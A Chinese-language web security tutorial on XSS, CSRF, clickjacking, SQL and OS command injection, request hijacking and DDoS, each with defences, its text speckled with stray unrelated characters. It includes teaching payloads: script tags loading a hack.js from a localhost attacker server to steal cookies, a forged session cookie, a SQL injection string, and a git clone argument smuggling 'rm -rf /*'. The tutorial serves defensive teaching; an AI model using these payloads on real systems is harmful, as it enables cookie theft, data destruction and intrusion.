此文項(xiàng)目代碼:https://github.com/bei-yang/I-want-to-be-an-architect
碼字不易纺涤,辛苦點(diǎn)個(gè)star,感謝抠忘!
引言
此篇文章主要涉及以下內(nèi)容:
XSS
CSRF
- 點(diǎn)擊劫持
-
SQL
注入 -
OS
注入 - 請(qǐng)求劫持
DDOS
XSS
XSS(Cross Site Scripting),跨站腳本攻擊外永,因?yàn)榭s寫和CSS
重疊崎脉,所以只能叫XSS
〔ィ跨站腳本攻擊是指通過存在安全漏洞的Web
網(wǎng)站注冊(cè)用戶的瀏覽器內(nèi)運(yùn)行非法的HTML
標(biāo)簽或JavaScript
進(jìn)行的一種攻擊囚灼。
跨站腳本攻擊有可能造成以下影響:
- 利用虛假輸入表單騙取用戶個(gè)人信息。
- 利用腳本竊取用戶的
Cookie
值祭衩,被害者在不知情的情況下灶体,幫助攻擊者發(fā)送惡意請(qǐng)求。 - 顯示偽造的文章或圖片掐暮。
XSS攻擊分類
- 反射性——url參數(shù)直接注入
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 獲取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名偽造 https://dwz.cn/
// 偽造cookie?侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
- 存儲(chǔ)型——存儲(chǔ)到
DB
后讀取時(shí)注入
// 評(píng)論
<script>alert(1)</script>
// 跨站腳本注?
我來了<script src="http://localhost:4000/hack.js"></script>
XSS攻擊的危害——scripting能干啥就能干啥
- 獲取頁面數(shù)據(jù)
- 獲取cookies
- 劫持前端邏輯
- 發(fā)送請(qǐng)求
- 偷取網(wǎng)站的任意數(shù)據(jù)
- 偷取用戶的資料
- 偷取用戶的秘密和登錄態(tài)
- 欺騙用戶
防范手段
ejs轉(zhuǎn)義小知識(shí)
<% code %>?于執(zhí)?其中javascript代碼蝎抽;
<%= code %>會(huì)對(duì)code進(jìn)?html轉(zhuǎn)義;
<%- code %>將不會(huì)進(jìn)?轉(zhuǎn)義
- HEAD
ctx.set('X-XSS-Protection', 0) // 禁?XSS過濾
// http://localhost:3000/?from=<script>alert(3)</script> 可以攔截 但偽裝?下就
不?了
0禁止XSS過濾路克。
1啟用XSS過濾(通常瀏覽器是默認(rèn)的)樟结。如果檢測(cè)到跨站腳本攻擊养交,瀏覽器將清除頁面(刪除不安全的部分)。
1;mode=block啟用XSS過濾瓢宦。如果檢測(cè)到攻擊碎连,瀏覽器將不會(huì)清除頁面,而是阻止頁面加載驮履。
1;report=(Chromium only)啟動(dòng)XSS過濾鱼辙。如果檢測(cè)到跨站腳本攻擊,瀏覽器將清除頁面并使用CSPreport-uri指令的功能發(fā)送違規(guī)報(bào)告玫镐。
- CSP
內(nèi)容安全策略(CSP倒戏,Content Security Policy)是一個(gè)附加的安全層,用于幫助檢測(cè)和緩解某些類型的攻擊摘悴,包括跨站腳本(XSS)和數(shù)據(jù)注入等攻擊峭梳。這些攻擊可用于實(shí)現(xiàn)從數(shù)據(jù)竊取到網(wǎng)站破壞或作為惡意軟件分發(fā)版本等用途。
CSP本質(zhì)上就是建立白名單蹂喻,開發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)行葱椭。我們只需要配置規(guī)則,如何攔截是由瀏覽器自己實(shí)現(xiàn)的口四。我們可以通過這種方式來盡量減少XSS攻擊孵运。 - 轉(zhuǎn)義字符
- 黑名單
用戶的輸入永遠(yuǎn)不可信任,最普遍的做法就是轉(zhuǎn)義輸入輸出的內(nèi)容蔓彩,對(duì)于引導(dǎo)治笨、尖括號(hào)、斜杠進(jìn)行轉(zhuǎn)義赤嚼。
對(duì)于富文本旷赖,顯然不能通過上面的辦法來轉(zhuǎn)義所有字符,因?yàn)檫@樣會(huì)把需要的格式也過濾掉更卒。對(duì)于這種情況等孵,通常采用白名單過濾的辦法,當(dāng)然也可以通過黑名單過濾蹂空,但是考慮到需要過濾的標(biāo)簽和標(biāo)簽屬性實(shí)在太多俯萌,更加推薦使用白名單的方式。 - HTTPOnly Cookie
這是預(yù)防XSS攻擊竊取用戶cookie最有效的防御手段上枕。web應(yīng)用程序在設(shè)置cookie時(shí)咐熙,將其屬性設(shè)為HttpOnly,就可以避免該網(wǎng)頁的cookie被客戶端惡意JavaScript獲取辨萍,保護(hù)用戶cookie信息棋恼。
response.addHeader("Set-Cookie","uid=112;Path=/;HttpOnly")
CSRF
CSRF(Cross Site Request Forgery),即跨站請(qǐng)求偽造,是一種常見的web攻擊蘸泻,他利用用戶已登錄的身份琉苇,在用戶毫不知情的情況下,以用戶的名義完成非法操作悦施。
- 用戶已經(jīng)登錄了站點(diǎn)A并扇,并在本地記錄了Cookie
- 在用戶沒有登出站點(diǎn)A的情況下(也就是cookie生效的情況下),訪問了惡意攻擊者提供的引誘危險(xiǎn)站點(diǎn)B(B站點(diǎn)要求訪問站點(diǎn)A)
- 站點(diǎn)A沒有做任何CSRF防御
登錄 http://localhost:4000/csrf.html
CSRF攻擊危害
- 利用用戶登錄態(tài)
- 用戶不知情
- 完成業(yè)務(wù)請(qǐng)求
- 盜取用戶資金(轉(zhuǎn)賬抡诞,消費(fèi))
- 冒充用戶發(fā)帖背鍋
- 損害網(wǎng)站聲譽(yù)
防御
- 禁止第三方網(wǎng)站帶Cookie——有兼容性問題
- Referer Check——https不發(fā)送Referer
- 驗(yàn)證碼
點(diǎn)擊劫持——Clickjacking
點(diǎn)擊劫持是一種視覺欺騙的攻擊手段穷蛹。攻擊者將需要攻擊的網(wǎng)站通過iframe嵌套的方式嵌入自己的網(wǎng)頁中,并將iframe設(shè)置為透明昼汗,在頁面中透出一個(gè)按鈕誘導(dǎo)用戶點(diǎn)擊肴熏。
// 登錄
http://localhost:4000/clickjacking.html
防御
- X-FRAME-OPTIONS
X-FRAME-OPTIONS
是一個(gè)HTTP響應(yīng)頭,在現(xiàn)代瀏覽器有一個(gè)很好的支持顷窒。這個(gè)HTTP響應(yīng)頭就是為了防御用iframe嵌套的點(diǎn)擊劫持攻擊蛙吏。
該響應(yīng)頭有三個(gè)值可選,分別是:- DENY鞋吉,表示頁面不允許通過iframe的方式展示
- SAMEORIGIN鸦做,表示頁面可以在相同域名下通過iframe的方式展示
- ALLOW-FROM,表示頁面可以在指定來源的iframe中展示
ctx.set('X-FRAME-OPTIONS','DENY')
- JS方式
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
以上代碼的作?就是當(dāng)通過 iframe 的?式加載??時(shí)谓着,攻擊者的??直接不顯示所有內(nèi)容了泼诱。
SQL注入
// 填?特殊密碼
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御
- 所有的查詢語句建議使用數(shù)據(jù)庫(kù)提供的參數(shù)化查詢接口,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到SQL語句中赊锚,即不要直接拼接SQL語句治筒。例如Node.js中的mysqljs庫(kù)的query方法中的?占位參數(shù)舷蒲。
- 嚴(yán)格限制web應(yīng)用的數(shù)據(jù)庫(kù)的操作權(quán)限耸袜,給此用戶提供僅僅能夠滿足其工作的最低權(quán)限,從而最大限度的減少注入攻擊對(duì)數(shù)據(jù)庫(kù)的危害牲平。
- 后端代碼檢查輸入的數(shù)據(jù)是否符合預(yù)期句灌,嚴(yán)格限制變量的類型,例如使用正則表達(dá)式進(jìn)行一些匹配處理欠拾。
- 對(duì)進(jìn)?數(shù)據(jù)庫(kù)的特殊字符(',"骗绕,\藐窄,<,>酬土,&荆忍,*,; 等)進(jìn)?轉(zhuǎn)義處理,或編碼轉(zhuǎn)換刹枉∵闯基本上
所有的后端語?都有對(duì)字符串進(jìn)?轉(zhuǎn)義處理的?法,?如 lodash 的 lodash._escapehtmlchar
庫(kù)微宝。
OS命令注入
OS命令注?和SQL注?差不多棺亭,只不過SQL注?是針對(duì)數(shù)據(jù)庫(kù)的,?OS命令注?是針對(duì)操作系統(tǒng)的蟋软。OS命令注?攻擊指通過Web應(yīng)?镶摘,執(zhí)??法的操作系統(tǒng)命令達(dá)到攻擊的?的。只要在能調(diào)?Shell函數(shù)的地?就有存在被攻擊的?險(xiǎn)岳守。倘若調(diào)?Shell時(shí)存在疏漏凄敢,就可以執(zhí)?插?的?法命令。
// 以 Node.js 為例湿痢,假如在接?中需要從 github 下載?戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?戶輸?的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);
如果傳?的參數(shù)是這樣的呢
https://github.com/xx/xx.git && rm -rf /* &&
請(qǐng)求劫持
- DNS劫持
顧名思義涝缝,DNS服務(wù)器(DNS解析各個(gè)步驟)被篡改,修改了域名解析的結(jié)果譬重,使得訪問到的不是預(yù)期
的ip - HTTP劫持 運(yùn)營(yíng)商劫持拒逮,此時(shí)?概只能升級(jí)HTTPS了
DDOS
distributed denial of service
DDOS 不是?種攻擊,?是??類攻擊的總稱害幅。它有??種類型消恍,新的攻擊?法還在不斷發(fā)明出來。?站運(yùn)?的各個(gè)環(huán)節(jié)以现,都可以是攻擊?標(biāo)狠怨。只要把?個(gè)環(huán)節(jié)攻破,使得整個(gè)流程跑不起來邑遏,就達(dá)到了癱瘓服務(wù)的?的佣赖。
其中,?較常?的?種攻擊是 cc 攻擊记盒。它就是簡(jiǎn)單粗暴地送來?量正常的請(qǐng)求憎蛤,超出服務(wù)器的最?承受量,導(dǎo)致宕機(jī)纪吮。我遭遇的就是 cc 攻擊俩檬,最多的時(shí)候全世界?概20多個(gè) IP 地址輪流發(fā)出請(qǐng)求,每個(gè)地址的請(qǐng)求量在每秒200次~300次碾盟。我看訪問?志的時(shí)候棚辽,就覺得那些請(qǐng)求像洪??樣涌來,?眨眼就是?大堆冰肴,?分鐘的時(shí)間屈藐,?志?件的體積就?了100MB榔组。說實(shí)話,這只能算?攻擊联逻,但是我的個(gè)??站沒有任何防護(hù)搓扯,服務(wù)器還是跟其他?共享的,這種流量?來?刻就下線了包归。
防御手段
- 備份?站
備份?站不?定是全功能的锨推,如果能做到全靜態(tài)瀏覽,就能滿?需求箫踩。最低限度應(yīng)該可以顯示公
告爱态,告訴?戶,?站出了問題境钟,正在全?搶修锦担。 - HTTP 請(qǐng)求的攔截
硬件 服務(wù)器 防?墻 - 帶寬擴(kuò)容 + CDN
提?犯罪成本
你的贊是我前進(jìn)的動(dòng)力
求贊,求評(píng)論慨削,求轉(zhuǎn)發(fā)...